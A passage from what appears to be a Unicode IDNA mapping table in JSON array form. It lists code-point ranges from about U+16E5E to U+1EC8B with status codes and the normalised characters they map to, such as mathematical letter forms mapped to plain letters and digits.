𖹾"],[93791,1,"𖹿"],[[93792,93823],2],[[93824,93850],2],[[93851,93951],3],[[93952,94020],2],[[94021,94026],2],[[94027,94030],3],[94031,2],[[94032,94078],2],[[94079,94087],2],[[94088,94094],3],[[94095,94111],2],[[94112,94175],3],[94176,2],[94177,2],[94178,2],[94179,2],[94180,2],[[94181,94191],3],[[94192,94193],2],[[94194,94207],3],[[94208,100332],2],[[100333,100337],2],[[100338,100343],2],[[100344,100351],3],[[100352,101106],2],[[101107,101589],2],[[101590,101630],3],[101631,2],[[101632,101640],2],[[101641,110575],3],[[110576,110579],2],[110580,3],[[110581,110587],2],[110588,3],[[110589,110590],2],[110591,3],[[110592,110593],2],[[110594,110878],2],[[110879,110882],2],[[110883,110897],3],[110898,2],[[110899,110927],3],[[110928,110930],2],[[110931,110932],3],[110933,2],[[110934,110947],3],[[110948,110951],2],[[110952,110959],3],[[110960,111355],2],[[111356,113663],3],[[113664,113770],2],[[113771,113775],3],[[113776,113788],2],[[113789,113791],3],[[113792,113800],2],[[113801,113807],3],[[113808,113817],2],[[113818,113819],3],[113820,2],[[113821,113822],2],[113823,2],[[113824,113827],7],[[113828,117759],3],[[117760,117973],2],[117974,1,"a"],[117975,1,"b"],[117976,1,"c"],[117977,1,"d"],[117978,1,"e"],[117979,1,"f"],[117980,1,"g"],[117981,1,"h"],[117982,1,"i"],[117983,1,"j"],[117984,1,"k"],[117985,1,"l"],[117986,1,"m"],[117987,1,"n"],[117988,1,"o"],[117989,1,"p"],[117990,1,"q"],[117991,1,"r"],[117992,1,"s"],[117993,1,"t"],[117994,1,"u"],[117995,1,"v"],[117996,1,"w"],[117997,1,"x"],[117998,1,"y"],[117999,1,"z"],[118000,1,"0"],[118001,1,"1"],[118002,1,"2"],[118003,1,"3"],[118004,1,"4"],[118005,1,"5"],[118006,1,"6"],[118007,1,"7"],[118008,1,"8"],[118009,1,"9"],[[118010,118015],3],[[118016,118451],2],[[118452,118527],3],[[118528,118573],2],[[118574,118575],3],[[118576,118598],2],[[118599,118607],3],[[118608,118723],2],[[118724,118783],3],[[118784,119029],2],[[119030,119039],3],[[119040,119078],2],[[119079,119080],3],[119081,2],[[119082,119133],2],[119134,1,"𝅗𝅥"],[119135,1,"𝅘𝅥"],[119136,1,"𝅘𝅥𝅮"],[119137,1,"𝅘𝅥𝅯"],[119138,1,"𝅘𝅥𝅰"],[119139,1,"𝅘𝅥𝅱"],[119140,1,"𝅘𝅥𝅲"],[[119141,119154],2],[[119155,119162],7],[[119163,119226],2],[119227,1,"𝆹𝅥"],[119228,1,"𝆺𝅥"],[119229,1,"𝆹𝅥𝅮"],[119230,1,"𝆺𝅥𝅮"],[119231,1,"𝆹𝅥𝅯"],[119232,1,"𝆺𝅥𝅯"],[[119233,119261],2],[[119262,119272],2],[[119273,119274],2],[[119275,119295],3],[[119296,119365],2],[[119366,119487],3],[[119488,119507],2],[[119508,119519],3],[[119520,119539],2],[[119540,119551],3],[[119552,119638],2],[[119639,119647],3],[[119648,119665],2],[[119666,119672],2],[[119673,119807],3],[119808,1,"a"],[119809,1,"b"],[119810,1,"c"],[119811,1,"d"],[119812,1,"e"],[119813,1,"f"],[119814,1,"g"],[119815,1,"h"],[119816,1,"i"],[119817,1,"j"],[119818,1,"k"],[119819,1,"l"],[119820,1,"m"],[119821,1,"n"],[119822,1,"o"],[119823,1,"p"],[119824,1,"q"],[119825,1,"r"],[119826,1,"s"],[119827,1,"t"],[119828,1,"u"],[119829,1,"v"],[119830,1,"w"],[119831,1,"x"],[119832,1,"y"],[119833,1,"z"],[119834,1,"a"],[119835,1,"b"],[119836,1,"c"],[119837,1,"d"],[119838,1,"e"],[119839,1,"f"],[119840,1,"g"],[119841,1,"h"],[119842,1,"i"],[119843,1,"j"],[119844,1,"k"],[119845,1,"l"],[119846,1,"m"],[119847,1,"n"],[119848,1,"o"],[119849,1,"p"],[119850,1,"q"],[119851,1,"r"],[119852,1,"s"],[119853,1,"t"],[119854,1,"u"],[119855,1,"v"],[119856,1,"w"],[119857,1,"x"],[119858,1,"y"],[119859,1,"z"],[119860,1,"a"],[119861,1,"b"],[119862,1,"c"],[119863,1,"d"],[119864,1,"e"],[119865,1,"f"],[119866,1,"g"],[119867,1,"h"],[119868,1,"i"],[119869,1,"j"],[119870,1,"k"],[119871,1,"l"],[119872,1,"m"],[119873,1,"n"],[119874,1,"o"],[119875,1,"p"],[119876,1,"q"],[119877,1,"r"],[119878,1,"s"],[119879,1,"t"],[119880,1,"u"],[119881,1,"v"],[119882,1,"w"],[119883,1,"x"],[119884,1,"y"],[119885,1,"z"],[119886,1,"a"],[119887,1,"b"],[119888,1,"c"],[119889,1,"d"],[119890,1,"e"],[119891,1,"f"],[119892,1,"g"],[119893,3],[119894,1,"i"],[119895,1,"j"],[119896,1,"k"],[119897,1,"l"],[119898,1,"m"],[119899,1,"n"],[119900,1,"o"],[119901,1,"p"],[119902,1,"q"],[119903,1,"r"],[119904,1,"s"],[119905,1,"t"],[119906,1,"u"],[119907,1,"v"],[119908,1,"w"],[119909,1,"x"],[119910,1,"y"],[119911,1,"z"],[119912,1,"a"],[119913,1,"b"],[119914,1,"c"],[119915,1,"d"],[119916,1,"e"],[119917,1,"f"],[119918,1,"g"],[119919,1,"h"],[119920,1,"i"],[119921,1,"j"],[119922,1,"k"],[119923,1,"l"],[119924,1,"m"],[119925,1,"n"],[119926,1,"o"],[119927,1,"p"],[119928,1,"q"],[119929,1,"r"],[119930,1,"s"],[119931,1,"t"],[119932,1,"u"],[119933,1,"v"],[119934,1,"w"],[119935,1,"x"],[119936,1,"y"],[119937,1,"z"],[119938,1,"a"],[119939,1,"b"],[119940,1,"c"],[119941,1,"d"],[119942,1,"e"],[119943,1,"f"],[119944,1,"g"],[119945,1,"h"],[119946,1,"i"],[119947,1,"j"],[119948,1,"k"],[119949,1,"l"],[119950,1,"m"],[119951,1,"n"],[119952,1,"o"],[119953,1,"p"],[119954,1,"q"],[119955,1,"r"],[119956,1,"s"],[119957,1,"t"],[119958,1,"u"],[119959,1,"v"],[119960,1,"w"],[119961,1,"x"],[119962,1,"y"],[119963,1,"z"],[119964,1,"a"],[119965,3],[119966,1,"c"],[119967,1,"d"],[[119968,119969],3],[119970,1,"g"],[[119971,119972],3],[119973,1,"j"],[119974,1,"k"],[[119975,119976],3],[119977,1,"n"],[119978,1,"o"],[119979,1,"p"],[119980,1,"q"],[119981,3],[119982,1,"s"],[119983,1,"t"],[119984,1,"u"],[119985,1,"v"],[119986,1,"w"],[119987,1,"x"],[119988,1,"y"],[119989,1,"z"],[119990,1,"a"],[119991,1,"b"],[119992,1,"c"],[119993,1,"d"],[119994,3],[119995,1,"f"],[119996,3],[119997,1,"h"],[119998,1,"i"],[119999,1,"j"],[120000,1,"k"],[120001,1,"l"],[120002,1,"m"],[120003,1,"n"],[120004,3],[120005,1,"p"],[120006,1,"q"],[120007,1,"r"],[120008,1,"s"],[120009,1,"t"],[120010,1,"u"],[120011,1,"v"],[120012,1,"w"],[120013,1,"x"],[120014,1,"y"],[120015,1,"z"],[120016,1,"a"],[120017,1,"b"],[120018,1,"c"],[120019,1,"d"],[120020,1,"e"],[120021,1,"f"],[120022,1,"g"],[120023,1,"h"],[120024,1,"i"],[120025,1,"j"],[120026,1,"k"],[120027,1,"l"],[120028,1,"m"],[120029,1,"n"],[120030,1,"o"],[120031,1,"p"],[120032,1,"q"],[120033,1,"r"],[120034,1,"s"],[120035,1,"t"],[120036,1,"u"],[120037,1,"v"],[120038,1,"w"],[120039,1,"x"],[120040,1,"y"],[120041,1,"z"],[120042,1,"a"],[120043,1,"b"],[120044,1,"c"],[120045,1,"d"],[120046,1,"e"],[120047,1,"f"],[120048,1,"g"],[120049,1,"h"],[120050,1,"i"],[120051,1,"j"],[120052,1,"k"],[120053,1,"l"],[120054,1,"m"],[120055,1,"n"],[120056,1,"o"],[120057,1,"p"],[120058,1,"q"],[120059,1,"r"],[120060,1,"s"],[120061,1,"t"],[120062,1,"u"],[120063,1,"v"],[120064,1,"w"],[120065,1,"x"],[120066,1,"y"],[120067,1,"z"],[120068,1,"a"],[120069,1,"b"],[120070,3],[120071,1,"d"],[120072,1,"e"],[120073,1,"f"],[120074,1,"g"],[[120075,120076],3],[120077,1,"j"],[120078,1,"k"],[120079,1,"l"],[120080,1,"m"],[120081,1,"n"],[120082,1,"o"],[120083,1,"p"],[120084,1,"q"],[120085,3],[120086,1,"s"],[120087,1,"t"],[120088,1,"u"],[120089,1,"v"],[120090,1,"w"],[120091,1,"x"],[120092,1,"y"],[120093,3],[120094,1,"a"],[120095,1,"b"],[120096,1,"c"],[120097,1,"d"],[120098,1,"e"],[120099,1,"f"],[120100,1,"g"],[120101,1,"h"],[120102,1,"i"],[120103,1,"j"],[120104,1,"k"],[120105,1,"l"],[120106,1,"m"],[120107,1,"n"],[120108,1,"o"],[120109,1,"p"],[120110,1,"q"],[120111,1,"r"],[120112,1,"s"],[120113,1,"t"],[120114,1,"u"],[120115,1,"v"],[120116,1,"w"],[120117,1,"x"],[120118,1,"y"],[120119,1,"z"],[120120,1,"a"],[120121,1,"b"],[120122,3],[120123,1,"d"],[120124,1,"e"],[120125,1,"f"],[120126,1,"g"],[120127,3],[120128,1,"i"],[120129,1,"j"],[120130,1,"k"],[120131,1,"l"],[120132,1,"m"],[120133,3],[120134,1,"o"],[[120135,120137],3],[120138,1,"s"],[120139,1,"t"],[120140,1,"u"],[120141,1,"v"],[120142,1,"w"],[120143,1,"x"],[120144,1,"y"],[120145,3],[120146,1,"a"],[120147,1,"b"],[120148,1,"c"],[120149,1,"d"],[120150,1,"e"],[120151,1,"f"],[120152,1,"g"],[120153,1,"h"],[120154,1,"i"],[120155,1,"j"],[120156,1,"k"],[120157,1,"l"],[120158,1,"m"],[120159,1,"n"],[120160,1,"o"],[120161,1,"p"],[120162,1,"q"],[120163,1,"r"],[120164,1,"s"],[120165,1,"t"],[120166,1,"u"],[120167,1,"v"],[120168,1,"w"],[120169,1,"x"],[120170,1,"y"],[120171,1,"z"],[120172,1,"a"],[120173,1,"b"],[120174,1,"c"],[120175,1,"d"],[120176,1,"e"],[120177,1,"f"],[120178,1,"g"],[120179,1,"h"],[120180,1,"i"],[120181,1,"j"],[120182,1,"k"],[120183,1,"l"],[120184,1,"m"],[120185,1,"n"],[120186,1,"o"],[120187,1,"p"],[120188,1,"q"],[120189,1,"r"],[120190,1,"s"],[120191,1,"t"],[120192,1,"u"],[120193,1,"v"],[120194,1,"w"],[120195,1,"x"],[120196,1,"y"],[120197,1,"z"],[120198,1,"a"],[120199,1,"b"],[120200,1,"c"],[120201,1,"d"],[120202,1,"e"],[120203,1,"f"],[120204,1,"g"],[120205,1,"h"],[120206,1,"i"],[120207,1,"j"],[120208,1,"k"],[120209,1,"l"],[120210,1,"m"],[120211,1,"n"],[120212,1,"o"],[120213,1,"p"],[120214,1,"q"],[120215,1,"r"],[120216,1,"s"],[120217,1,"t"],[120218,1,"u"],[120219,1,"v"],[120220,1,"w"],[120221,1,"x"],[120222,1,"y"],[120223,1,"z"],[120224,1,"a"],[120225,1,"b"],[120226,1,"c"],[120227,1,"d"],[120228,1,"e"],[120229,1,"f"],[120230,1,"g"],[120231,1,"h"],[120232,1,"i"],[120233,1,"j"],[120234,1,"k"],[120235,1,"l"],[120236,1,"m"],[120237,1,"n"],[120238,1,"o"],[120239,1,"p"],[120240,1,"q"],[120241,1,"r"],[120242,1,"s"],[120243,1,"t"],[120244,1,"u"],[120245,1,"v"],[120246,1,"w"],[120247,1,"x"],[120248,1,"y"],[120249,1,"z"],[120250,1,"a"],[120251,1,"b"],[120252,1,"c"],[120253,1,"d"],[120254,1,"e"],[120255,1,"f"],[120256,1,"g"],[120257,1,"h"],[120258,1,"i"],[120259,1,"j"],[120260,1,"k"],[120261,1,"l"],[120262,1,"m"],[120263,1,"n"],[120264,1,"o"],[120265,1,"p"],[120266,1,"q"],[120267,1,"r"],[120268,1,"s"],[120269,1,"t"],[120270,1,"u"],[120271,1,"v"],[120272,1,"w"],[120273,1,"x"],[120274,1,"y"],[120275,1,"z"],[120276,1,"a"],[120277,1,"b"],[120278,1,"c"],[120279,1,"d"],[120280,1,"e"],[120281,1,"f"],[120282,1,"g"],[120283,1,"h"],[120284,1,"i"],[120285,1,"j"],[120286,1,"k"],[120287,1,"l"],[120288,1,"m"],[120289,1,"n"],[120290,1,"o"],[120291,1,"p"],[120292,1,"q"],[120293,1,"r"],[120294,1,"s"],[120295,1,"t"],[120296,1,"u"],[120297,1,"v"],[120298,1,"w"],[120299,1,"x"],[120300,1,"y"],[120301,1,"z"],[120302,1,"a"],[120303,1,"b"],[120304,1,"c"],[120305,1,"d"],[120306,1,"e"],[120307,1,"f"],[120308,1,"g"],[120309,1,"h"],[120310,1,"i"],[120311,1,"j"],[120312,1,"k"],[120313,1,"l"],[120314,1,"m"],[120315,1,"n"],[120316,1,"o"],[120317,1,"p"],[120318,1,"q"],[120319,1,"r"],[120320,1,"s"],[120321,1,"t"],[120322,1,"u"],[120323,1,"v"],[120324,1,"w"],[120325,1,"x"],[120326,1,"y"],[120327,1,"z"],[120328,1,"a"],[120329,1,"b"],[120330,1,"c"],[120331,1,"d"],[120332,1,"e"],[120333,1,"f"],[120334,1,"g"],[120335,1,"h"],[120336,1,"i"],[120337,1,"j"],[120338,1,"k"],[120339,1,"l"],[120340,1,"m"],[120341,1,"n"],[120342,1,"o"],[120343,1,"p"],[120344,1,"q"],[120345,1,"r"],[120346,1,"s"],[120347,1,"t"],[120348,1,"u"],[120349,1,"v"],[120350,1,"w"],[120351,1,"x"],[120352,1,"y"],[120353,1,"z"],[120354,1,"a"],[120355,1,"b"],[120356,1,"c"],[120357,1,"d"],[120358,1,"e"],[120359,1,"f"],[120360,1,"g"],[120361,1,"h"],[120362,1,"i"],[120363,1,"j"],[120364,1,"k"],[120365,1,"l"],[120366,1,"m"],[120367,1,"n"],[120368,1,"o"],[120369,1,"p"],[120370,1,"q"],[120371,1,"r"],[120372,1,"s"],[120373,1,"t"],[120374,1,"u"],[120375,1,"v"],[120376,1,"w"],[120377,1,"x"],[120378,1,"y"],[120379,1,"z"],[120380,1,"a"],[120381,1,"b"],[120382,1,"c"],[120383,1,"d"],[120384,1,"e"],[120385,1,"f"],[120386,1,"g"],[120387,1,"h"],[120388,1,"i"],[120389,1,"j"],[120390,1,"k"],[120391,1,"l"],[120392,1,"m"],[120393,1,"n"],[120394,1,"o"],[120395,1,"p"],[120396,1,"q"],[120397,1,"r"],[120398,1,"s"],[120399,1,"t"],[120400,1,"u"],[120401,1,"v"],[120402,1,"w"],[120403,1,"x"],[120404,1,"y"],[120405,1,"z"],[120406,1,"a"],[120407,1,"b"],[120408,1,"c"],[120409,1,"d"],[120410,1,"e"],[120411,1,"f"],[120412,1,"g"],[120413,1,"h"],[120414,1,"i"],[120415,1,"j"],[120416,1,"k"],[120417,1,"l"],[120418,1,"m"],[120419,1,"n"],[120420,1,"o"],[120421,1,"p"],[120422,1,"q"],[120423,1,"r"],[120424,1,"s"],[120425,1,"t"],[120426,1,"u"],[120427,1,"v"],[120428,1,"w"],[120429,1,"x"],[120430,1,"y"],[120431,1,"z"],[120432,1,"a"],[120433,1,"b"],[120434,1,"c"],[120435,1,"d"],[120436,1,"e"],[120437,1,"f"],[120438,1,"g"],[120439,1,"h"],[120440,1,"i"],[120441,1,"j"],[120442,1,"k"],[120443,1,"l"],[120444,1,"m"],[120445,1,"n"],[120446,1,"o"],[120447,1,"p"],[120448,1,"q"],[120449,1,"r"],[120450,1,"s"],[120451,1,"t"],[120452,1,"u"],[120453,1,"v"],[120454,1,"w"],[120455,1,"x"],[120456,1,"y"],[120457,1,"z"],[120458,1,"a"],[120459,1,"b"],[120460,1,"c"],[120461,1,"d"],[120462,1,"e"],[120463,1,"f"],[120464,1,"g"],[120465,1,"h"],[120466,1,"i"],[120467,1,"j"],[120468,1,"k"],[120469,1,"l"],[120470,1,"m"],[120471,1,"n"],[120472,1,"o"],[120473,1,"p"],[120474,1,"q"],[120475,1,"r"],[120476,1,"s"],[120477,1,"t"],[120478,1,"u"],[120479,1,"v"],[120480,1,"w"],[120481,1,"x"],[120482,1,"y"],[120483,1,"z"],[120484,1,"ı"],[120485,1,"ȷ"],[[120486,120487],3],[120488,1,"α"],[120489,1,"β"],[120490,1,"γ"],[120491,1,"δ"],[120492,1,"ε"],[120493,1,"ζ"],[120494,1,"η"],[120495,1,"θ"],[120496,1,"ι"],[120497,1,"κ"],[120498,1,"λ"],[120499,1,"μ"],[120500,1,"ν"],[120501,1,"ξ"],[120502,1,"ο"],[120503,1,"π"],[120504,1,"ρ"],[120505,1,"θ"],[120506,1,"σ"],[120507,1,"τ"],[120508,1,"υ"],[120509,1,"φ"],[120510,1,"χ"],[120511,1,"ψ"],[120512,1,"ω"],[120513,1,"∇"],[120514,1,"α"],[120515,1,"β"],[120516,1,"γ"],[120517,1,"δ"],[120518,1,"ε"],[120519,1,"ζ"],[120520,1,"η"],[120521,1,"θ"],[120522,1,"ι"],[120523,1,"κ"],[120524,1,"λ"],[120525,1,"μ"],[120526,1,"ν"],[120527,1,"ξ"],[120528,1,"ο"],[120529,1,"π"],[120530,1,"ρ"],[[120531,120532],1,"σ"],[120533,1,"τ"],[120534,1,"υ"],[120535,1,"φ"],[120536,1,"χ"],[120537,1,"ψ"],[120538,1,"ω"],[120539,1,"∂"],[120540,1,"ε"],[120541,1,"θ"],[120542,1,"κ"],[120543,1,"φ"],[120544,1,"ρ"],[120545,1,"π"],[120546,1,"α"],[120547,1,"β"],[120548,1,"γ"],[120549,1,"δ"],[120550,1,"ε"],[120551,1,"ζ"],[120552,1,"η"],[120553,1,"θ"],[120554,1,"ι"],[120555,1,"κ"],[120556,1,"λ"],[120557,1,"μ"],[120558,1,"ν"],[120559,1,"ξ"],[120560,1,"ο"],[120561,1,"π"],[120562,1,"ρ"],[120563,1,"θ"],[120564,1,"σ"],[120565,1,"τ"],[120566,1,"υ"],[120567,1,"φ"],[120568,1,"χ"],[120569,1,"ψ"],[120570,1,"ω"],[120571,1,"∇"],[120572,1,"α"],[120573,1,"β"],[120574,1,"γ"],[120575,1,"δ"],[120576,1,"ε"],[120577,1,"ζ"],[120578,1,"η"],[120579,1,"θ"],[120580,1,"ι"],[120581,1,"κ"],[120582,1,"λ"],[120583,1,"μ"],[120584,1,"ν"],[120585,1,"ξ"],[120586,1,"ο"],[120587,1,"π"],[120588,1,"ρ"],[[120589,120590],1,"σ"],[120591,1,"τ"],[120592,1,"υ"],[120593,1,"φ"],[120594,1,"χ"],[120595,1,"ψ"],[120596,1,"ω"],[120597,1,"∂"],[120598,1,"ε"],[120599,1,"θ"],[120600,1,"κ"],[120601,1,"φ"],[120602,1,"ρ"],[120603,1,"π"],[120604,1,"α"],[120605,1,"β"],[120606,1,"γ"],[120607,1,"δ"],[120608,1,"ε"],[120609,1,"ζ"],[120610,1,"η"],[120611,1,"θ"],[120612,1,"ι"],[120613,1,"κ"],[120614,1,"λ"],[120615,1,"μ"],[120616,1,"ν"],[120617,1,"ξ"],[120618,1,"ο"],[120619,1,"π"],[120620,1,"ρ"],[120621,1,"θ"],[120622,1,"σ"],[120623,1,"τ"],[120624,1,"υ"],[120625,1,"φ"],[120626,1,"χ"],[120627,1,"ψ"],[120628,1,"ω"],[120629,1,"∇"],[120630,1,"α"],[120631,1,"β"],[120632,1,"γ"],[120633,1,"δ"],[120634,1,"ε"],[120635,1,"ζ"],[120636,1,"η"],[120637,1,"θ"],[120638,1,"ι"],[120639,1,"κ"],[120640,1,"λ"],[120641,1,"μ"],[120642,1,"ν"],[120643,1,"ξ"],[120644,1,"ο"],[120645,1,"π"],[120646,1,"ρ"],[[120647,120648],1,"σ"],[120649,1,"τ"],[120650,1,"υ"],[120651,1,"φ"],[120652,1,"χ"],[120653,1,"ψ"],[120654,1,"ω"],[120655,1,"∂"],[120656,1,"ε"],[120657,1,"θ"],[120658,1,"κ"],[120659,1,"φ"],[120660,1,"ρ"],[120661,1,"π"],[120662,1,"α"],[120663,1,"β"],[120664,1,"γ"],[120665,1,"δ"],[120666,1,"ε"],[120667,1,"ζ"],[120668,1,"η"],[120669,1,"θ"],[120670,1,"ι"],[120671,1,"κ"],[120672,1,"λ"],[120673,1,"μ"],[120674,1,"ν"],[120675,1,"ξ"],[120676,1,"ο"],[120677,1,"π"],[120678,1,"ρ"],[120679,1,"θ"],[120680,1,"σ"],[120681,1,"τ"],[120682,1,"υ"],[120683,1,"φ"],[120684,1,"χ"],[120685,1,"ψ"],[120686,1,"ω"],[120687,1,"∇"],[120688,1,"α"],[120689,1,"β"],[120690,1,"γ"],[120691,1,"δ"],[120692,1,"ε"],[120693,1,"ζ"],[120694,1,"η"],[120695,1,"θ"],[120696,1,"ι"],[120697,1,"κ"],[120698,1,"λ"],[120699,1,"μ"],[120700,1,"ν"],[120701,1,"ξ"],[120702,1,"ο"],[120703,1,"π"],[120704,1,"ρ"],[[120705,120706],1,"σ"],[120707,1,"τ"],[120708,1,"υ"],[120709,1,"φ"],[120710,1,"χ"],[120711,1,"ψ"],[120712,1,"ω"],[120713,1,"∂"],[120714,1,"ε"],[120715,1,"θ"],[120716,1,"κ"],[120717,1,"φ"],[120718,1,"ρ"],[120719,1,"π"],[120720,1,"α"],[120721,1,"β"],[120722,1,"γ"],[120723,1,"δ"],[120724,1,"ε"],[120725,1,"ζ"],[120726,1,"η"],[120727,1,"θ"],[120728,1,"ι"],[120729,1,"κ"],[120730,1,"λ"],[120731,1,"μ"],[120732,1,"ν"],[120733,1,"ξ"],[120734,1,"ο"],[120735,1,"π"],[120736,1,"ρ"],[120737,1,"θ"],[120738,1,"σ"],[120739,1,"τ"],[120740,1,"υ"],[120741,1,"φ"],[120742,1,"χ"],[120743,1,"ψ"],[120744,1,"ω"],[120745,1,"∇"],[120746,1,"α"],[120747,1,"β"],[120748,1,"γ"],[120749,1,"δ"],[120750,1,"ε"],[120751,1,"ζ"],[120752,1,"η"],[120753,1,"θ"],[120754,1,"ι"],[120755,1,"κ"],[120756,1,"λ"],[120757,1,"μ"],[120758,1,"ν"],[120759,1,"ξ"],[120760,1,"ο"],[120761,1,"π"],[120762,1,"ρ"],[[120763,120764],1,"σ"],[120765,1,"τ"],[120766,1,"υ"],[120767,1,"φ"],[120768,1,"χ"],[120769,1,"ψ"],[120770,1,"ω"],[120771,1,"∂"],[120772,1,"ε"],[120773,1,"θ"],[120774,1,"κ"],[120775,1,"φ"],[120776,1,"ρ"],[120777,1,"π"],[[120778,120779],1,"ϝ"],[[120780,120781],3],[120782,1,"0"],[120783,1,"1"],[120784,1,"2"],[120785,1,"3"],[120786,1,"4"],[120787,1,"5"],[120788,1,"6"],[120789,1,"7"],[120790,1,"8"],[120791,1,"9"],[120792,1,"0"],[120793,1,"1"],[120794,1,"2"],[120795,1,"3"],[120796,1,"4"],[120797,1,"5"],[120798,1,"6"],[120799,1,"7"],[120800,1,"8"],[120801,1,"9"],[120802,1,"0"],[120803,1,"1"],[120804,1,"2"],[120805,1,"3"],[120806,1,"4"],[120807,1,"5"],[120808,1,"6"],[120809,1,"7"],[120810,1,"8"],[120811,1,"9"],[120812,1,"0"],[120813,1,"1"],[120814,1,"2"],[120815,1,"3"],[120816,1,"4"],[120817,1,"5"],[120818,1,"6"],[120819,1,"7"],[120820,1,"8"],[120821,1,"9"],[120822,1,"0"],[120823,1,"1"],[120824,1,"2"],[120825,1,"3"],[120826,1,"4"],[120827,1,"5"],[120828,1,"6"],[120829,1,"7"],[120830,1,"8"],[120831,1,"9"],[[120832,121343],2],[[121344,121398],2],[[121399,121402],2],[[121403,121452],2],[[121453,121460],2],[121461,2],[[121462,121475],2],[121476,2],[[121477,121483],2],[[121484,121498],3],[[121499,121503],2],[121504,3],[[121505,121519],2],[[121520,122623],3],[[122624,122654],2],[[122655,122660],3],[[122661,122666],2],[[122667,122879],3],[[122880,122886],2],[122887,3],[[122888,122904],2],[[122905,122906],3],[[122907,122913],2],[122914,3],[[122915,122916],2],[122917,3],[[122918,122922],2],[[122923,122927],3],[122928,1,"а"],[122929,1,"б"],[122930,1,"в"],[122931,1,"г"],[122932,1,"д"],[122933,1,"е"],[122934,1,"ж"],[122935,1,"з"],[122936,1,"и"],[122937,1,"к"],[122938,1,"л"],[122939,1,"м"],[122940,1,"о"],[122941,1,"п"],[122942,1,"р"],[122943,1,"с"],[122944,1,"т"],[122945,1,"у"],[122946,1,"ф"],[122947,1,"х"],[122948,1,"ц"],[122949,1,"ч"],[122950,1,"ш"],[122951,1,"ы"],[122952,1,"э"],[122953,1,"ю"],[122954,1,"ꚉ"],[122955,1,"ә"],[122956,1,"і"],[122957,1,"ј"],[122958,1,"ө"],[122959,1,"ү"],[122960,1,"ӏ"],[122961,1,"а"],[122962,1,"б"],[122963,1,"в"],[122964,1,"г"],[122965,1,"д"],[122966,1,"е"],[122967,1,"ж"],[122968,1,"з"],[122969,1,"и"],[122970,1,"к"],[122971,1,"л"],[122972,1,"о"],[122973,1,"п"],[122974,1,"с"],[122975,1,"у"],[122976,1,"ф"],[122977,1,"х"],[122978,1,"ц"],[122979,1,"ч"],[122980,1,"ш"],[122981,1,"ъ"],[122982,1,"ы"],[122983,1,"ґ"],[122984,1,"і"],[122985,1,"ѕ"],[122986,1,"џ"],[122987,1,"ҫ"],[122988,1,"ꙑ"],[122989,1,"ұ"],[[122990,123022],3],[123023,2],[[123024,123135],3],[[123136,123180],2],[[123181,123183],3],[[123184,123197],2],[[123198,123199],3],[[123200,123209],2],[[123210,123213],3],[123214,2],[123215,2],[[123216,123535],3],[[123536,123566],2],[[123567,123583],3],[[123584,123641],2],[[123642,123646],3],[123647,2],[[123648,124111],3],[[124112,124153],2],[[124154,124367],3],[[124368,124410],2],[[124411,124414],3],[124415,2],[[124416,124895],3],[[124896,124902],2],[124903,3],[[124904,124907],2],[124908,3],[[124909,124910],2],[124911,3],[[124912,124926],2],[124927,3],[[124928,125124],2],[[125125,125126],3],[[125127,125135],2],[[125136,125142],2],[[125143,125183],3],[125184,1,"𞤢"],[125185,1,"𞤣"],[125186,1,"𞤤"],[125187,1,"𞤥"],[125188,1,"𞤦"],[125189,1,"𞤧"],[125190,1,"𞤨"],[125191,1,"𞤩"],[125192,1,"𞤪"],[125193,1,"𞤫"],[125194,1,"𞤬"],[125195,1,"𞤭"],[125196,1,"𞤮"],[125197,1,"𞤯"],[125198,1,"𞤰"],[125199,1,"𞤱"],[125200,1,"𞤲"],[125201,1,"𞤳"],[125202,1,"𞤴"],[125203,1,"𞤵"],[125204,1,"𞤶"],[125205,1,"𞤷"],[125206,1,"𞤸"],[125207,1,"𞤹"],[125208,1,"𞤺"],[125209,1,"𞤻"],[125210,1,"𞤼"],[125211,1,"𞤽"],[125212,1,"𞤾"],[125213,1,"𞤿"],[125214,1,"𞥀"],[125215,1,"𞥁"],[125216,1,"𞥂"],[125217,1,"𞥃"],[[125218,125258],2],[125259,2],[[125260,125263],3],[[125264,125273],2],[[125274,125277],3],[[125278,125279],2],[[125280,126064],3],[[126065,126132],2],[[126133,126208],3],[[126209,126269],2],[[126270,126463],3],[126464,1,"ا"],[126465,1,"ب"],[126466,1,"ج"],[126467,1,"د"],[126468,3],[126469,1,"و"],[126470,1,"ز"],[126471,1,"ح"],[126472,1,"ط"],[126473,1,"ي"],[126474,1,"ك"],[126475,1,"ل"],[126476,1,"م"],[126477,1,"ن"],[126478,1,"س"],[126479,1,"ع"],[126480,1,"ف"],[126481,1,"ص"],[126482,1,"ق"],[126483,1,"ر"],[126484,1,"ش"],[126485,1,"ت"],[126486,1,"ث"],[126487,1,"خ"],[126488,1,"ذ"],[126489,1,"ض"],[126490,1,"ظ"],[126491,1,"غ"],[126492,1,"ٮ"],[126493,1,"ں"],[126494,1,"ڡ"],[126495,1,"ٯ"],[126496,3],[126497,1,"ب"],[126498,1,"ج"],[126499,3],[126500,1,"ه"],[[126501,126502],3],[126503,1,"ح"],[126504,3],[126505,1,"ي"],[126506,1,"ك"],[126507,1,"ل"],[126508,1,"م"],[126509,1,"ن"],[126510,1,"س"],[126511,1,"ع"],[126512,1,"ف"],[126513,1,"ص"],[126514,1,"ق"],[126515,3],[126516,1,"ش"],[126517,1,"ت"],[126518,1,"ث"],[126519,1,"خ"],[126520,3],[126521,1,"ض"],[126522,3],[126523,1,"غ"],[[126524,126529],3],[126530,1,"ج"],[[126531,126534],3],[126535,1,"ح"],[126536,3],[126537,1,"ي"],[126538,3],[126539,1,"ل"],[126540,3],[126541,1,"ن"],[126542,1,"س"],[126543,1,"ع"],[126544,3],[126545,1,"ص"],[126546,1,"ق"],[126547,3],[126548,1,"ش"],[[126549,126550],3],[126551,1,"خ"],[126552,3],[126553,1,"ض"],[126554,3],[126555,1,"غ"],[126556,3],[126557,1,"ں"],[126558,3],[126559,1,"ٯ"],[126560,3],[126561,1,"ب"],[126562,1,"ج"],[126563,3],[126564,1,"ه"],[[126565,126566],3],[126567,1,"ح"],[126568,1,"ط"],[126569,1,"ي"],[126570,1,"ك"],[126571,3],[126572,1,"م"],[126573,1,"ن"],[126574,1,"س"],[126575,1,"ع"],[126576,1,"ف"],[126577,1,"ص"],[126578,1,"ق"],[126579,3],[126580,1,"ش"],[126581,1,"ت"],[126582,1,"ث"],[126583,1,"خ"],[126584,3],[126585,1,"ض"],[126586,1,"ظ"],[126587,1,"غ"],[126588,1,"ٮ"],[126589,3],[126590,1,"ڡ"],[126591,3],[126592,1,"ا"],[126593,1,"ب"],[126594,1,"ج"],[126595,1,"د"],[126596,1,"ه"],[126597,1,"و"],[126598,1,"ز"],[126599,1,"ح"],[126600,1,"ط"],[126601,1,"ي"],[126602,3],[126603,